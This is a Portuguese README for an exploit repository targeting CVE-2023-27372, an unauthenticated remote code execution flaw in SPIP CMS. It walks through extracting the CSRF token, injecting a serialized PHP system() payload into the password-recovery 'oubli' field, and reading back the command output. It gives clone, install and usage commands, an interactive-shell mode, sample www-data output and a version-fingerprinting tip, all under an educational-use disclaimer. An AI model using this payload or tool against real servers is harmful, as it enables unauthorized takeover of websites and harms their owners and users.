
Exploit para CVE-2023-27372 com shell interativo
Exploit para CVE-2023-27372, uma vulnerabilidade de Execução Remota de Código não autenticada no CMS SPIP que afeta versões anteriores a 4.2.1.
⚠️ Apenas para fins educacionais. Use exclusivamente em sistemas que você possui ou para os quais tenha permissão explícita por escrito. O uso não autorizado é ilegal.
SPIP é um CMS de código aberto amplamente utilizado para publicação na web. Esta vulnerabilidade existe no formulário de recuperação de senha (/spip.php?page=spip_pass), onde o parâmetro oubli é processado sem sanitização adequada, permitindo que um invasor injete e execute código PHP arbitrário no servidor — sem necessidade de autenticação.
| Campo | Detalhes |
|---|---|
| CVE | CVE-2023-27372 |
| Pontuação CVSS | 9.8 (Crítico) |
| Vetor de Ataque | Rede |
| Autenticação | Nenhuma necessária |
| Versões afetadas | SPIP < 4.2.1 |
| Tipo de vulnerabilidade | Injeção de Código / RCE não autenticada |
Obter token CSRF — Uma requisição GET é feita para /spip.php?page=spip_pass para extrair o token formulaire_action_args do formulário HTML.
Construir o payload — Uma string serializada do PHP é criada com o comando a ser executado:
s:N:"<?php system('COMMAND'); ?>";
Onde N é o comprimento exato em bytes da string PHP interna.
Enviar o payload — Uma requisição POST é feita com o payload criado no campo oubli juntamente com o token CSRF. O SPIP processa este campo sem sanitização e executa o código PHP injetado.
Extrair a saída — A saída do comando é retornada dentro da resposta HTML e extraída do atributo value do campo de entrada oubli.
requestsbeautifulsoup4argparseregex
git clone https://github.com/scriniarii/CVE-2023-27372
cd CVE-2023-27372
pip install requests beautifulsoup4
python3 exploit.py -u <URL> -c <command>
| Argumento | Descrição |
|---|---|
-u, --url | URL base da instância SPIP alvo |
-c, --command | Comando do sistema operacional a executar no alvo |
-s, --shell | Shell interativo |
python3 exploit.py -u http://TARGET/ -c "id"
python3 exploit.py -u http://TARGET/ -s
Saída esperada:
[+] Token found : JWDCxt5PTFzhPb...
[+] Output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Para verificar a versão do SPIP de um alvo, procure a tag meta generator no HTML:
<meta name="generator" content="SPIP 4.2.0" />
[!CAUTION]
⚠️ Aviso de Responsabilidade
Utilize as informações e exploits fornecidos nos meus repositórios apenas para fins educacionais e divulgação responsável. Não me responsabilizo por qualquer uso indevido ou danos causados pelo uso destas ferramentas, scripts ou exploits.